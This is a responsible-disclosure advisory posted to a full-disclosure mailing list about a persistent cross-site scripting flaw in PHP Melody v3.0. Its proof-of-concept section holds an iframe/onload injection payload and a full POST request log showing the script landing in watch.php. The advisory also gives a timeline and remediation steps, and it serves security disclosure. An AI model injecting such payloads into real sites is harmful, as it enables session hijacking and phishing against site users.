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Date: Wed, 27 Oct 2021 14:05:50 +0200 From: "info@...nerability-lab.com" <info@...nerability-lab.com> To: fulldisclosure@...lists.org Subject: [FD] PHP Melody v3.0 - (submitted) Persistent XSS Vulnerability Document Title: =============== PHP Melody v3.0 - (submitted) Persistent XSS Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2292 Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/ Release Date: ============= 2021-10-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2292 Common Vulnerability Scoring System: ==================================== 5.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing. Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series, TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS. (Copy of the Homepage: https://www.phpsugar.com/phpmelody.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the PHP Melody v3.0 video cms web-application. Affected Product(s): ==================== PHPSUGAR Product: PHP Melody v3.0 - Video CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-09-04: Vendor Response/Feedback (Security Department) 2021-09-22: Vendor Fix/Patch (Service Developer Team) 2021-09-22: Security Acknowledgements (Security Department) 2021-10-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Moderator Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video cms web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent input validation web vulnerability is located in the `submitted` parameter of the `edit-video.php`. Remote attackers with privileged user accounts like editors or moderators are able to inject own malicious script code as author that submits. The request method to inject is post and the execution occurs with persistent attack vector in the `watch.php` frontend file. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Edit Video Vulnerable File(s): [+] edit-video.php Vulnerable Parameter(s): [+] submitted Affected File(s): [+] watch.php Proof of Concept (PoC): ======================= The persistent validation vulnerability can be exploited by remote attackers with privileged editor user account and with low user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. PoC: Example Exploitation [Username]"><[PAYLOAD]"> PoC: Payload admin"><iframe src="evil.source" onload="alert(document.domain)"> --- PoC Session Logs (POST) [edit-video.php - submitted] --- https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b Host: phpmelody.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------3331529921260143328403993122 Content-Length: 6517 Origin: https://phpmelody.localhost:8080 Connection: keep-alive Referer: https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b Cookie: PHPSESSID=2ae8ef3142c4517892e6333cee49612a;melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_p900e07810ba03257e53baf46a9ada3c=cc33e6eb60d2c1e31a5612bd8c193c22; sidebar-main-state=maxi; watched_video_list=MTI0LDE%3D; pm_elastic_player=normal post: submit=Save&video_title=Hi- Test&video_slug=martin-garrix-high-on-life-ft-bonn&file=,,&description=<p>test2</p>&tags=high,high on life,martin,garrix&yt_min=3&yt_sec=48&yt_length=228&allow_comments=1&allow_embedding=1&restricted=0&site_views=6&site_views_input=6&date_month=9&date_day=03 &date_year=2021&date_hour=07&date_min=00&date_ampm=am&date_sec=09&submitted=admin"><iframe src=evil.source onload=alert(document.domain)> &direct=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&direct-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g &url_flv=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&url_flv-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&embed_code= &meta_key=&meta_value=&meta_item_id=1&meta_item_type=1&yt_thumb=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg &yt_thumb_old=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg&add_category_name=&add_category_slug=&add_category_parent_id=-1 &categories_old=1,19,1,19&category[]=1,19&language=,1&uniq_id=22389808b&source_id=0&added_old=1630652409&upload-type=&p=upload&do=upload-image&video_type=1 - POST: HTTP/2.0 200 OK content-type: text/html; charset=utf-8 x-powered-by: PHP/5.4.34 Vulnerable Source: watch.php <div id="content-main" class="container-fluid"> <div class="row"> <div class="col-xs-12 col-sm-12 col-md-8 pm-video-watch-main" itemprop="video" itemscope="" itemtype="http://schema.org/VideoObject"> <div class="row pm-user-header"> <div class="col-xs-3 col-sm-1 col-md-1"> <a href=""><img src="" class="pm-round-avatar" alt="" width="40" height="40" border="0"></a> </div> <div class="col-xs-9 col-sm-8 col-md-8"> <div class="pm-video-posting-info"> <div class="author"><a href="">admin"><iframe src="evil.source" onload="alert(document.domain)">[MALICIOUS SCRIPT CODE EXECUTION!]</a> </div> <div class="publish-date">Published <time datetime="2021-09-03T07:00:09+0000" title="Friday, September 3, 2021 7:00 AM">Sep 3, 2021</time></div> </div></div> <div class="col-xs-2 col-sm-3 col-md-3"> <div class="pull-right"> <button id="btn_follow_" class="btn btn-sm btn-success btn-follow" data-user-id="">Subscribe</button> </div></div></div> Reference(s): https://phpmelody.localhost:8080/admin/ https://phpmelody.localhost:8080/watch.php https://phpmelody.localhost:8080/admin/edit-video.php Solution - Fix & Patch: ======================= The vulnerability can be resolved by the following steps ... 1. Encode, escape or filter the vulnerable submitted parameter in the post method request 2. Restrict all the transmitted parameter by disallowing the usage of special chars 3. Sanitize the watch.php output location to prevent the execution point 4. Alternativ setup security headers and a web firewall or filter to prevent further exploitation Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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